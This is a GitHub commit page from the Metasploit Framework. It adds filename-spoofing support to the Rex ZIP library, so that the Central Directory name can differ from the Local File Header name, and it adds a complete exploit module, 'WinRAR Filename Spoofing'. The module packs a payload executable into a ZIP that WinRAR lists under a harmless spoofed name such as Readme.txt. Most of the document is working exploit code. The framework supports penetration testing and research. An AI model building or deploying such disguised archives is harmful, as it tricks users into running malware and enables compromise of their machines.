Skip to content

Commit 13d3d48

Browse files
committed
Land rapid7#3194 - WinRAR Filename Spoofing
2 parents 6e9a136 + 56bd35c commit 13d3d48

File tree

4 files changed

+100
-10
lines changed

4 files changed

+100
-10
lines changed

lib/rex/zip/archive.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -38,9 +38,11 @@ def add_r(dir)
3838
#
3939
# If fdata is set, the file is populated with that data
4040
# from the calling method. If fdata is nil, then the
41-
# fs is checked for the file.
41+
# fs is checked for the file. If central_dir_name is set
42+
# it will be used to spoof the name at the Central Directory
43+
# at packing time.
4244
#
43-
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
45+
def add_file(fname, fdata=nil, xtra=nil, comment=nil, central_dir_name=nil)
4446
if (not fdata)
4547
begin
4648
st = File.stat(fname)
@@ -62,7 +64,7 @@ def add_file(fname, fdata=nil, xtra=nil, comment=nil)
6264
end
6365
end
6466

65-
@entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment)
67+
@entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment, central_dir_name)
6668
end
6769

6870

lib/rex/zip/blocks.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -116,7 +116,11 @@ def initialize(entry, offset)
116116
end
117117

118118
def pack
119-
path = @entry.relative_path
119+
if @entry.central_dir_name.blank?
120+
path = @entry.relative_path
121+
else
122+
path = @entry.central_dir_path
123+
end
120124

121125
ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv')
122126
ret << [ ZIP_VERSION ].pack('v')

lib/rex/zip/entry.rb

Lines changed: 18 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -8,11 +8,12 @@ module Zip
88
#
99
class Entry
1010

11-
attr_accessor :name, :flags, :info, :xtra, :comment, :attrs
11+
attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name
1212
attr_reader :data
1313

14-
def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil)
14+
def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil)
1515
@name = fname.unpack("C*").pack("C*")
16+
@central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil)
1617
@data = data.unpack("C*").pack("C*")
1718
@xtra = xtra
1819
@xtra ||= ''
@@ -71,10 +72,12 @@ def compress
7172

7273

7374
def relative_path
74-
if (@name[0,1] == '/')
75-
return @name[1,@name.length]
76-
end
77-
@name
75+
get_relative_path(@name)
76+
end
77+
78+
def central_dir_path
79+
return nil if @central_dir_name.blank?
80+
get_relative_path(@central_dir_name)
7881
end
7982

8083

@@ -104,6 +107,15 @@ def inspect
104107
"#<#{self.class} name:#{name}, data:#{@data.length} bytes>"
105108
end
106109

110+
private
111+
112+
def get_relative_path(path)
113+
if (path[0,1] == '/')
114+
return path[1, path.length]
115+
end
116+
path
117+
end
118+
107119
end
108120

109121
end
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/zip'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::FILEFORMAT
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'WinRAR Filename Spoofing',
18+
'Description' => %q{
19+
This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
20+
when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
21+
the central directory, but the file names used to extract and open contents come from the
22+
Local File Header. This inconsistency allows to spoof file names when opening ZIP files
23+
with WiRAR, which can be abused to execute arbitrary code, like exploited in the wild in
24+
March 2014
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'chr1x', # Vulnerability discoverer according to OSVDB
30+
'juan vazquez' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'OSVDB', '62610' ],
35+
[ 'BID', '66383' ],
36+
[ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
37+
[ 'URL', 'http://an7isec.blogspot.co.il/']
38+
],
39+
'Platform' => [ 'win' ],
40+
'Payload' =>
41+
{
42+
'DisableNops' => true,
43+
'Space' => 4096
44+
},
45+
'Targets' =>
46+
[
47+
[ 'Windows Universal', {} ]
48+
],
49+
'DisclosureDate' => 'Sep 28 2009',
50+
'DefaultTarget' => 0))
51+
52+
register_options(
53+
[
54+
OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
55+
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
56+
], self.class)
57+
58+
end
59+
60+
def exploit
61+
exe_filename = rand_text_alpha(rand(6) + 1)
62+
exe_filename << ".exe"
63+
64+
zip = Rex::Zip::Archive.new
65+
zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
66+
pack = zip.pack
67+
68+
print_status("Creating '#{datastore['FILENAME']}' file...")
69+
file_create(pack)
70+
end
71+
72+
end

0 commit comments

Comments
 (0)